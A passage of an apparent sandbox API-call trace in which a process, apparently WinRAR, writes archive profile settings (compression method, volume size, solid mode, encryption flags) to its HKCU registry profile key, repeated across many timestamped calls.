out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.276] RegSetValueExW (in: hKey=0x218, lpValueName="Default", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.276] RegCloseKey (hKey=0x218) returned 0x0 [0058.276] GetLastError () returned 0x0 [0058.276] SetLastError (dwErrCode=0x0) [0058.276] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", ulOptions=0x0, samDesired=0x20006, phkResult=0xe414fae10 | out: phkResult=0xe414fae10*=0x218) returned 0x0 [0058.276] RegDeleteValueW (hKey=0x218, lpValueName="ArcName") returned 0x2 [0058.276] RegCloseKey (hKey=0x218) returned 0x0 [0058.276] GetLastError () returned 0x0 [0058.276] SetLastError (dwErrCode=0x0) [0058.276] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", ulOptions=0x0, samDesired=0x20006, phkResult=0xe414fae10 | out: phkResult=0xe414fae10*=0x218) returned 0x0 [0058.277] RegDeleteValueW (hKey=0x218, lpValueName="FileNames") returned 0x2 [0058.277] RegCloseKey (hKey=0x218) returned 0x0 [0058.277] GetLastError () returned 0x0 [0058.277] SetLastError (dwErrCode=0x0) [0058.277] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.277] RegSetValueExW (in: hKey=0x218, lpValueName="ImmExec", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.277] RegCloseKey (hKey=0x218) returned 0x0 [0058.277] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x2) returned 0x1ec0a5a6830 [0058.277] GetLastError () returned 0x0 [0058.277] SetLastError (dwErrCode=0x0) [0058.277] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.277] RegSetValueExW (in: hKey=0x218, lpValueName="ExclNames", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0058.277] RegCloseKey (hKey=0x218) returned 0x0 [0058.277] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a5a6830 | out: hHeap=0x1ec0a590000) returned 1 [0058.277] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x2) returned 0x1ec0a5a6740 [0058.277] GetLastError () returned 0x0 [0058.277] SetLastError (dwErrCode=0x0) [0058.277] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.277] RegSetValueExW (in: hKey=0x218, lpValueName="StoreNames", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0058.277] RegCloseKey (hKey=0x218) returned 0x0 [0058.277] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a5a6740 | out: hHeap=0x1ec0a590000) returned 1 [0058.277] GetLastError () returned 0x0 [0058.277] SetLastError (dwErrCode=0x0) [0058.277] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.277] RegSetValueExW (in: hKey=0x218, lpValueName="UseRAR", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x1, cbData=0x4 | out: lpData=0xe414fb268*=0x1) returned 0x0 [0058.277] RegCloseKey (hKey=0x218) returned 0x0 [0058.278] GetLastError () returned 0x0 [0058.278] SetLastError (dwErrCode=0x0) [0058.278] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.278] RegSetValueExW (in: hKey=0x218, lpValueName="RAR5", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x1, cbData=0x4 | out: lpData=0xe414fb268*=0x1) returned 0x0 [0058.278] RegCloseKey (hKey=0x218) returned 0x0 [0058.278] GetLastError () returned 0x0 [0058.278] SetLastError (dwErrCode=0x0) [0058.278] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.278] RegSetValueExW (in: hKey=0x218, lpValueName="SFXModule", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0058.278] RegCloseKey (hKey=0x218) returned 0x0 [0058.278] GetLastError () returned 0x0 [0058.278] SetLastError (dwErrCode=0x0) [0058.278] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", ulOptions=0x0, samDesired=0x20006, phkResult=0xe414fae10 | out: phkResult=0xe414fae10*=0x218) returned 0x0 [0058.278] RegDeleteValueW (hKey=0x218, lpValueName="SFX") returned 0x2 [0058.278] GetLastError () returned 0x0 [0058.278] SetLastError (dwErrCode=0x0) [0058.278] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.278] RegSetValueExW (in: hKey=0x218, lpValueName="SFXIcon", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0058.278] GetLastError () returned 0x0 [0058.279] SetLastError (dwErrCode=0x0) [0058.279] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.279] RegSetValueExW (in: hKey=0x218, lpValueName="SFXLogo", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0058.279] GetLastError () returned 0x0 [0058.279] SetLastError (dwErrCode=0x0) [0058.279] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.279] RegSetValueExW (in: hKey=0x218, lpValueName="SFXElevate", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.279] GetLastError () returned 0x0 [0058.279] SetLastError (dwErrCode=0x0) [0058.279] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.279] RegSetValueExW (in: hKey=0x218, lpValueName="CmtFile", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0058.279] GetLastError () returned 0x0 [0058.279] SetLastError (dwErrCode=0x0) [0058.279] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0xe414fad88, lpdwDisposition=0xe414fad80 | out: phkResult=0xe414fad88*=0x218, lpdwDisposition=0xe414fad80*=0x2) returned 0x0 [0058.279] RegSetValueExW (in: hKey=0x218, lpValueName="CmtDataWide", Reserved=0x0, dwType=0x3, lpData=0x7ff6f75df128*, cbData=0x2 | out: lpData=0x7ff6f75df128*) returned 0x0 [0058.279] GetLastError () returned 0x0 [0058.279] SetLastError (dwErrCode=0x0) [0058.279] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.279] RegSetValueExW (in: hKey=0x218, lpValueName="VolumeSize", Reserved=0x0, dwType=0x1, lpData="10485760", cbData=0x12 | out: lpData="10485760") returned 0x0 [0058.280] GetLastError () returned 0x0 [0058.280] SetLastError (dwErrCode=0x0) [0058.280] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.280] RegSetValueExW (in: hKey=0x218, lpValueName="VolSizeMod", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x2, cbData=0x4 | out: lpData=0xe414fb268*=0x2) returned 0x0 [0058.280] GetLastError () returned 0x0 [0058.280] SetLastError (dwErrCode=0x0) [0058.280] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.280] RegSetValueExW (in: hKey=0x218, lpValueName="VolPause", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.280] GetLastError () returned 0x0 [0058.280] SetLastError (dwErrCode=0x0) [0058.280] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.280] RegSetValueExW (in: hKey=0x218, lpValueName="OldVolNames", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.280] GetLastError () returned 0x0 [0058.280] SetLastError (dwErrCode=0x0) [0058.280] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.280] RegSetValueExW (in: hKey=0x218, lpValueName="RecVolNumber", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.281] GetLastError () returned 0x0 [0058.281] SetLastError (dwErrCode=0x0) [0058.281] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.281] RegSetValueExW (in: hKey=0x218, lpValueName="Update", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.281] GetLastError () returned 0x0 [0058.281] SetLastError (dwErrCode=0x0) [0058.281] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.281] RegSetValueExW (in: hKey=0x218, lpValueName="Fresh", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.281] GetLastError () returned 0x0 [0058.281] SetLastError (dwErrCode=0x0) [0058.281] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.281] RegSetValueExW (in: hKey=0x218, lpValueName="SyncFiles", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.281] GetLastError () returned 0x0 [0058.281] SetLastError (dwErrCode=0x0) [0058.281] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.281] RegSetValueExW (in: hKey=0x218, lpValueName="Overwrite", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.282] GetLastError () returned 0x0 [0058.282] SetLastError (dwErrCode=0x0) [0058.282] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.282] RegSetValueExW (in: hKey=0x218, lpValueName="Move", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.282] GetLastError () returned 0x0 [0058.282] SetLastError (dwErrCode=0x0) [0058.282] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.282] RegSetValueExW (in: hKey=0x218, lpValueName="ArcRecBin", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.282] GetLastError () returned 0x0 [0058.282] SetLastError (dwErrCode=0x0) [0058.282] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.282] RegSetValueExW (in: hKey=0x218, lpValueName="ArcWipe", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.282] GetLastError () returned 0x0 [0058.282] SetLastError (dwErrCode=0x0) [0058.282] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.282] RegSetValueExW (in: hKey=0x218, lpValueName="WipeIfPassword", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.282] GetLastError () returned 0x0 [0058.282] SetLastError (dwErrCode=0x0) [0058.282] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.282] RegSetValueExW (in: hKey=0x218, lpValueName="Solid", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x1, cbData=0x4 | out: lpData=0xe414fb268*=0x1) returned 0x0 [0058.283] GetLastError () returned 0x0 [0058.283] SetLastError (dwErrCode=0x0) [0058.283] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.283] RegSetValueExW (in: hKey=0x218, lpValueName="Test", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.283] GetLastError () returned 0x0 [0058.283] SetLastError (dwErrCode=0x0) [0058.283] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.283] RegSetValueExW (in: hKey=0x218, lpValueName="RecEnabled", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x1, cbData=0x4 | out: lpData=0xe414fb268*=0x1) returned 0x0 [0058.283] GetLastError () returned 0x0 [0058.283] SetLastError (dwErrCode=0x0) [0058.283] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.283] RegSetValueExW (in: hKey=0x218, lpValueName="RecSize", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0xfffffffd, cbData=0x4 | out: lpData=0xe414fb268*=0xfffffffd) returned 0x0 [0058.283] GetLastError () returned 0x0 [0058.283] SetLastError (dwErrCode=0x0) [0058.283] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.283] RegSetValueExW (in: hKey=0x218, lpValueName="EraseDest", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.283] GetLastError () returned 0x0 [0058.283] SetLastError (dwErrCode=0x0) [0058.283] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.283] RegSetValueExW (in: hKey=0x218, lpValueName="AddArcOnly", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.283] GetLastError () returned 0x0 [0058.283] SetLastError (dwErrCode=0x0) [0058.283] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.284] RegSetValueExW (in: hKey=0x218, lpValueName="ClearArc", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.284] GetLastError () returned 0x0 [0058.284] SetLastError (dwErrCode=0x0) [0058.284] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.284] RegSetValueExW (in: hKey=0x218, lpValueName="Lock", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.284] GetLastError () returned 0x0 [0058.284] SetLastError (dwErrCode=0x0) [0058.284] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.284] RegSetValueExW (in: hKey=0x218, lpValueName="Method", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x3, cbData=0x4 | out: lpData=0xe414fb268*=0x3) returned 0x0 [0058.284] GetLastError () returned 0x0 [0058.284] SetLastError (dwErrCode=0x0) [0058.284] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.284] RegSetValueExW (in: hKey=0x218, lpValueName="DictSizeLZ", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x2000000, cbData=0x4 | out: lpData=0xe414fb268*=0x2000000) returned 0x0 [0058.284] GetLastError () returned 0x0 [0058.284] SetLastError (dwErrCode=0x0) [0058.284] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.284] RegSetValueExW (in: hKey=0x218, lpValueName="DictSize", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.284] GetLastError () returned 0x0 [0058.284] SetLastError (dwErrCode=0x0) [0058.284] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.284] RegSetValueExW (in: hKey=0x218, lpValueName="Background", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.285] GetLastError () returned 0x0 [0058.285] SetLastError (dwErrCode=0x0) [0058.285] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.285] RegSetValueExW (in: hKey=0x218, lpValueName="WaitForOther", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.285] GetLastError () returned 0x0 [0058.285] SetLastError (dwErrCode=0x0) [0058.285] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.285] RegSetValueExW (in: hKey=0x218, lpValueName="Shutdown", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.285] GetLastError () returned 0x0 [0058.285] SetLastError (dwErrCode=0x0) [0058.285] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0xe414f99c8, lpdwDisposition=0xe414f99c0 | out: phkResult=0xe414f99c8*=0x218, lpdwDisposition=0xe414f99c0*=0x2) returned 0x0 [0058.285] RegSetValueExW (in: hKey=0x218, lpValueName="PasswordData", Reserved=0x0, dwType=0x3, lpData=0x7ff6f75df128*, cbData=0x1 | out: lpData=0x7ff6f75df128*) returned 0x0 [0058.285] GetLastError () returned 0x0 [0058.285] SetLastError (dwErrCode=0x0) [0058.285] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.285] RegSetValueExW (in: hKey=0x218, lpValueName="EncryptHeaders", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: 